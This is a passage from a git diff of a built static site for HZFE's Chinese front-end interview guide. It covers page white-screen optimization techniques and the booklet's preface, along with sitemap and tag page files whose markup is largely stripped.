
<link href="https://hzfe.org" rel="preconnect" />

4. 请求优化#

通过使用 HTTP/2 协议,可以依赖 HTTP/2 的多路复用、首部压缩、二进制分帧和服务端推送等特性,从而加快整体请求的响应速度,加快页面的渲染展示。

5. 页面解析优化#

浏览器获取 HTML 文件后,需要对 HTML 解析,然后才能开始渲染页面,这个过程中页面也是处于白屏状态。通过对这一过程进行优化可以加快页面的渲染展示。

5.1 服务端渲染(Server-Side Rendering)#

目前流行的前后端分离的开发模式,由于前端需要等待 JS 文件和接口加载完成之后才能渲染页面,导致白屏时间变长。服务端渲染是指在服务端将页面的渲染逻辑处理好,然后将处理好的 HTML 直接返回给前端展示。这样即可减少页面白屏的时间。

5.2 预渲染#

除了服务端渲染之外,还可以在前端打包时使用 prerender-spa-plugin 之类的插件进行简单的预渲染,减少页面白屏的时间。

6. 资源加载优化和页面渲染优化#

浏览器解析 HTML 的同时会加载相关的资源,通过对资源的加载过程进行优化也可以减少页面的白屏时间。

6.1 骨架屏#

骨架屏是在需要等待加载内容的位置提供一些图形组合占位,提前给用户描述页面的基础结构,等待数据加载完成之后,再替换成实际的内容。

骨架屏可以在数据加载前,提前渲染页面,缩短白屏时间,提升用户体验。

6.2 静态资源优化#

静态资源的优化主要分为两个方向:减小资源大小,加快资源加载速度。

减小资源大小

  • Gzip 压缩文件
  • JS 文件拆分,动态加载

加快资源加载速度

  • CDN(Content Delivery Network)
  • HTTP/2

6.3 资源预加载#

prefetch

前端可以使用 prefetch 来指定提前获取之后需要使用到的资源,浏览器将会在空闲的时候加载资源,例如:

<link rel="prefetch" href="https://hzfe.org/index.js" as="script" />

preload

前端可以使用 preload 来指定提前获取之后需要使用到的资源,浏览器将会立即加载对应资源,在解析到对应资源时即可立即执行,例如:

<link rel="preload" href="https://hzfe.org/index.js" as="script" />

quicklink

quicklink 是 Google 开源的预加载库,quicklink 会判断链接进入视口之后,在闲时预加载。quicklink 实际上加速的是次级页面。

7. 接口请求优化#

浏览器在加载完 HTML 和资源之后,一般需要请求接口获取数据之后才会完整渲染页面,对接口请求进行优化也可加快页面的展示。

接口合并

过多的接口请求会影响页面初始化时的渲染过程,可以通过增加一层中间层合并部分请求,达到加速页面展示的目的。

扩展阅读#

1. Native 相关优化#

WebView 容器预加载

内嵌在 APP 内的网页白屏时间实际还依赖 APP 的 WebView 初始化时间,所以通过对 APP 的 WebView 容器进行优化也可以减少页面的白屏时间,例如预热 WebView,即在 APP 打开之后的某一时间点,预先加载一个或多个 WebView 容器,在用户点击打开网页时直接使用预热好的 WebView。

DNS 优化

APP 可以在打开之后预解析网页所需的一些域名,在打开网页时即可直接使用 DNS 缓存。

资源预加载

APP 可以将网页中所需的资源预加载到本地,在网页请求资源时直接拦截并返回本地文件,即可加快网页加载速度,减少白屏时间。

接口预加载

APP 可以通过配置文件获取网页需要提前发起请求的接口,在用户进入页面时同步发起请求,即可在页面载入完成之后直接使用,减少白屏时间。

参考资料#

  1. Navigation Timeing API
Loading script...
+ + + + \ No newline at end of file diff --git a/guide/index.html b/guide/index.html new file mode 100644 index 0000000..ca8e283 --- /dev/null +++ b/guide/index.html @@ -0,0 +1,17 @@ + + + + + + +HZFE - 剑指前端 Offer + + + + + + + + + \ No newline at end of file diff --git a/img/arrow.svg b/img/arrow.svg new file mode 100644 index 0000000..f10aed7 --- /dev/null +++ b/img/arrow.svg @@ -0,0 +1 @@ + diff --git a/img/badge.svg b/img/badge.svg new file mode 100644 index 0000000..9e4f141 --- /dev/null +++ b/img/badge.svg @@ -0,0 +1,86 @@ + + + + +Created by potrace 1.16, written by Peter Selinger 2001-2019 + + + + + + + + + + + + + + + + + + diff --git a/img/favicon.ico b/img/favicon.ico new file mode 100644 index 0000000..8696237 Binary files /dev/null and b/img/favicon.ico differ diff --git a/index.html b/index.html new file mode 100644 index 0000000..b28cb43 --- /dev/null +++ b/index.html @@ -0,0 +1,17 @@ + + + + + + +前言 | HZFE - 剑指前端 Offer + + + + +
+

前言

作者介绍#

HZFE 团队成立于 2016 年,由 17 位 90 后程序员组成。

HZFE 读作“杭州 FE”,本意为杭州前端(Hangzhou Front-End)。实际组成来自于五湖四海,爱好一起旅游和理财,是一群除了前端其他都想学的天马行空摄影师组合。

HZFE 成员 75% 任职于互联网中大厂(其中半数以上在 BAT 工作),还有 20% 看似没有黄金履历实则 WLB(Work-Life-Balance)的选手。

开源过的技术组件,包含但不限于:

面试痛点#

image

不少前端开发工程师准备换工作时,复习计划做得不合理,导致在有限时间内,无法对高频知识点进行吸收和总结,只能不断地在面试环节中试错,机会成本和时间成本极高。面试复习的常见问题有:

  • 面试表达能力弱:“那些东西我会用,但面试的时候讲不好。”
  • 复习摸不清重点:“大厂面试感觉很难,要复习的东西有很多,也不知道会不会问到。”
  • 学习效率低:“各种面经我都有看,自己大致归类了题目出现频率,但答案还要再查一下。”
  • 学习兴趣低:“有的问题我有自己查资料,讲得很详细,也很难,啃一篇很久。”

如果不能掌握自己的学习方法和节奏,仅通过从零到一这种机械模式去复习知识点,那么时间利用率和有效知识吸收率都会较低。

我们还可以从以下两个角度去分析:在有限时间里,自己看知识点总结或基于收集的面经进行答案查找所带来的效率低下的原因:

  1. 提纲:市面上大部分的知识点总结的提纲排列顺序为由易到难。而主流面试一般有明确面试范围和考察频率。
  2. 内容:市面上大部分的知识点内容类似于教程,事无巨细地去讲解,且内容良莠不齐。而面试考察候选人对知识点的理解和运用,要求候选人在有限时间内正确表达核心内容。

小册介绍#

为降低前端工程师面试的准备和试错成本,我们撰写了这本专为面试场景服务的小册,意在成为面试者的技术高频题指南。

小册主要整理了高频面试题和对应篇幅可控的答案,从面试者角度出发,由浅入深的梳理相关知识点。使面试者快速获得面试常见技术问题的参考性回答,并对相关知识点深入了解:

  • 整合不同类型高频题

    技术面试时长一般控制在 30-60 分钟,围绕每道问题的时间一般控制在 3-5 分钟,会涉及不同知识面的题型。

    我们整理了 5 套高频面试题,共计 60 道不同知识点题目。每套题包含固定类型题目(如基础题、工程化题、网络题、编码题、综合题等)。由 HZFE 团队成员结合具体面试场景撰写总结。

  • 提炼答题关键点

    面试回答和日常知识点学习有一定差别:日常知识点的学习需了解广度且深入细节,要求查阅各种教程、文档、规范。面试回答则需要做总结并且有侧重点,将所学知识浓缩为几句话。

    我们整理的每道题目一般以「相关问题」「回答关键点」「知识点深入」为内容基本结构进行梳理。从「回答关键点」出发,对问题进行一个概括性回答,并且做重要知识点的深入。总体上不以教程向的方式做教学,而以参考答案向的方式做总结。

小册是 HZFE 团队中的应试者对于前端高频面试题的一份知识总结,本质是各种高频题的参考答案。读者通过对小册的学习,能在面试中多一份从容和自信。同时也向前端从业人员传递一种学习方法和思路。

适宜人群#

  • 有意冲刺互联网大厂的前端开发者,可参考本书题目和答案提纲,自主深入学习,查漏补缺。
  • 需短时间内找到工作的前端开发者,可借助本书快速了解面试高频的技术问题和相关解答。
  • 前端面试官可参考本书的题型和题目,按岗位需求对候选人进行有梯度的考察。
Loading script...
+ + + + \ No newline at end of file diff --git a/sitemap.xml b/sitemap.xml new file mode 100644 index 0000000..69e042d --- /dev/null +++ b/sitemap.xml @@ -0,0 +1 @@ +https://hzfe.github.io/awesome-interview/guideweekly0.5https://hzfe.github.io/awesome-interview/tagsweekly0.5https://hzfe.github.io/awesome-interview/weekly0.5https://hzfe.github.io/awesome-interview/book1/algorithm-balanced-binary-treesweekly0.5https://hzfe.github.io/awesome-interview/book1/browser-cross-originweekly0.5https://hzfe.github.io/awesome-interview/book1/browser-repain-reflowweekly0.5https://hzfe.github.io/awesome-interview/book1/coding-promiseweekly0.5https://hzfe.github.io/awesome-interview/book1/css-bfcweekly0.5https://hzfe.github.io/awesome-interview/book1/engineer-webpack-workflowweekly0.5https://hzfe.github.io/awesome-interview/book1/frame-vue-computed-watchweekly0.5https://hzfe.github.io/awesome-interview/book1/frame-vue-data-bindingweekly0.5https://hzfe.github.io/awesome-interview/book1/js-closuresweekly0.5https://hzfe.github.io/awesome-interview/book1/js-module-specsweekly0.5https://hzfe.github.io/awesome-interview/book1/network-securityweekly0.5https://hzfe.github.io/awesome-interview/book1/topic-enter-url-display-xxweekly0.5https://hzfe.github.io/awesome-interview/book2/algorithm-reverse-linked-listweekly0.5https://hzfe.github.io/awesome-interview/book2/browser-garbageweekly0.5https://hzfe.github.io/awesome-interview/book2/browser-render-mechanismweekly0.5https://hzfe.github.io/awesome-interview/book2/coding-throttle-debounceweekly0.5https://hzfe.github.io/awesome-interview/book2/css-preprocessorweekly0.5https://hzfe.github.io/awesome-interview/book2/engineer-babelweekly0.5https://hzfe.github.io/awesome-interview/book2/frame-react-fiberweekly0.5https://hzfe.github.io/awesome-interview/book2/frame-react-hoc-hooksweekly0.5https://hzfe.github.io/awesome-interview/book2/js-inheriteweekly0.5https://hzfe.github.io/awesome-interview/book2/js-newweekly0.5https://hzfe.github.io/awesome-interview/book2/network-http-cacheweekly0.5https://hzfe.github.io/awesome-interview/book2/topic-multi-pics-site-optimizeweekly0.5https://hzfe.github.io/awesome-interview/book3/algorithm-binary-tree-kweekly0.5https://hzfe.github.io/awesome-interview/book3/browser-event-loopweekly0.5https://hzfe.github.io/awesome-interview/book3/browser-memory-leaksweekly0.5https://hzfe.github.io/awesome-interview/book3/coding-arr-to-treeweekly0.5https://hzfe.github.io/awesome-interview/book3/css-mobile-adaptiveweekly0.5https://hzfe.github.io/awesome-interview/book3/engineer-webpack-loaderweekly0.5https://hzfe.github.io/awesome-interview/book3/frame-diffweekly0.5https://hzfe.github.io/awesome-interview/book3/frame-react-hooksweekly0.5https://hzfe.github.io/awesome-interview/book3/js-asyncweekly0.5https://hzfe.github.io/awesome-interview/book3/js-ts-interface-typeweekly0.5https://hzfe.github.io/awesome-interview/book3/network-http-1-2weekly0.5https://hzfe.github.io/awesome-interview/book3/topic-white-screen-optimizationweekly0.5 \ No newline at end of file diff --git a/tags/index.html b/tags/index.html new file mode 100644 index 0000000..c926854 --- /dev/null +++ b/tags/index.html @@ -0,0 +1,17 @@ + + + + + + +Tags | HZFE - 剑指前端 Offer + + + + + + + + + \ No newline at end of file